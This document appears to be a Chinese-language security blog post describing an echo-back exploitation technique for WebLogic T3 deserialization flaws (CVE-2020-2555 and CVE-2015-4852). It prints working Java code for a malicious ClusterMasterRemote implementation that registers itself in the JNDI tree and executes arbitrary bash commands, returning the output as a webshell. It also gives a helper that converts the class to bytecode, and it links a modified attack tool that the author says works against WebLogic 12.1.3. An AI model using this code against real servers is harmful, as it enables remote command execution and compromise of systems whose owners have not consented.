Weblogic T3 反序列化回显利用(CVE-2020-2555)
Weblogic T3 反序列化回显利用(CVE-2020-2555)
defineClass与RMI组合拳
defineClass载入自定义类,用rmi绑定一个reference供远端调用,攻击者(客户端)利用绑定的reference执行Weblogic服务器上的系统命令,并将结果返回给自己
本文重点是对Weblogic_cmd
利用与改写。增加了CVE-2020-2555的链,也准备做成持续更新。项目地址:https://github.com/Hpd0ger/weblogic_hpcmd
怎么快速利用可直接跳到文章”#CVE-2020-2555回显”部分。关于defineClass在反序列化中的利用和CVE-2020-2555的触发不是本文重点,网上前辈已有较详细剖析,这里不再赘述,基础知识看以下几篇讲解:
Weblogic使用ClassLoader和RMI来回显命令执行结果
应用流程
Classloader中的defineClass
可以从字节码还原出来Class实例
我们可以调用definClass
,创造一个恶意的JNDI服务类obj,这个类要满足这些条件:
1、类要实现RMI接口(只要是继承Remote的接口,因为要把自身绑定为Reference)
ClusterMasterRemote
接口是Weblogic
自带依赖包中接口,同时实现了 Remote 接口,所以只需要继承ClusterMasterRemote
的类即可把自身绑定为Reference
2、RMI接口(这里是ClusterMasterRemote)必须有返回String类型的方法,因为要返回RCE的输出
我们就可以在这样的obj中覆写A方法:命令执行后返回结果;在obj的main
函数中调用rebind
,绑定自身的类到RMI上作为Reference;攻击者就可以通过本地调用lookup
来获取这个Reference,远程调用A方法得到受害者执行的结果
实现一个恶意JNDI服务类obj如下
package com.test.payload;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
public class RemoteImpl implements ClusterMasterRemote {
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("hpdoger",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
接着就是把它转换为字节码(摘抄自@Y4er师傅github),将.Class文件转换成字节码脚本
package org.tools;
import java.io.*;
public class ClassloaderToByte {
public static void main(String[] args) {
byte[] bs = getBytesByFile("/Users/Hpdata/JavaSecurity/t3/target/classes/org/cmd/ClusterMasterRemoteImpl.class");
for (int i = 0; i < bs.length; i++) {
System.out.print(bs[i]+",");
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
用Classloader.definClass()
方法加载字节码,但Classloader
是抽象类,需要找到一个继承了ClassLoader,且原封不动的调用父亲definClass
方法的类
在weblogic_cmd
中利用的是org.mozilla.classfile.DefiningClassLoader.class
用Classloader.definClass
加载上文的RemoteImpl
之后,调用main函数就能够成功在受害者Weblogic的JNDI树中查看到注册上去的Reference,例如我这里bind的是hpdoger
Weblogic_cmd利用与改写
原项目地址:https://github.com/5up3rc/weblogic_cmd
原项目分析与利用
原项目入口函数提供了一些参数,其中H
与P
是Weblogic的地址与端口,B
选项是盲打模式,也就是无回显。不加B
选项默认就是回显模式,os
必选为linux/win,其他方法暂时没用到
接着简单分析一下工具流程,先在Weblogic服务端绑定RMI实例
调用SerialDataGenerator.serialRmiDatas
构造序列化数据
在CC链反射执行的时候调用main
函数
main
函数获取JNDI Naming上下文,并绑定自身的对象成为Reference
在自身对象getServerLocation
方法中写了RCE语句并且将结果以String类型返回
当然这里的RemoteImpl.java
只是提供给读者,方便编写自己的JNDI利用。在项目中已经将编译好的RemoteImpl.class
以字节码的形式给出了。如果要编译自己的JDNI类字节码,可以参考文章第一部分的脚本
向RMI绑定完Reference之后,就利用Reference(RemoteImpl.class
)当作Webshell,在服务端执行getServerLocation
方法并将结果返回
CVE-2015-4852回显
这里测试用工具写好的CC链,打weblogic 12.1.3
当然你也可以开启shell模式
CVE-2020-2555回显
CVE-2020-2555这个洞,跟CC极其相似也是个反射的链式调用,关于CC的分析可以看博客之前的文章:Common-Collentions3.1反序列化之Java入坑(劝退)指南。
不过网上没有公开CVE-2020-2555的回显利用,就简单写一下集成到weblogic_cmd
里
在启动项目时增加了一个C2555
选项,默认为false。
最终根据选项值来产生序列化的数据,是用ValueExtractor
链(CVE-2020-2555)还是Transformer
链(CC链-2015-4852)
测试能够打通
关于ClassLoader使用的更新
感谢@Smile师傅指出高版本DefiningClassLoader
并不适用,所以项目改用了weblogic.utils.classloaders.ClasspathClassLoader
中的defineCodeGenClass
方法加载自定义类
详情见文章:Weblogic常见高危漏洞的综合利用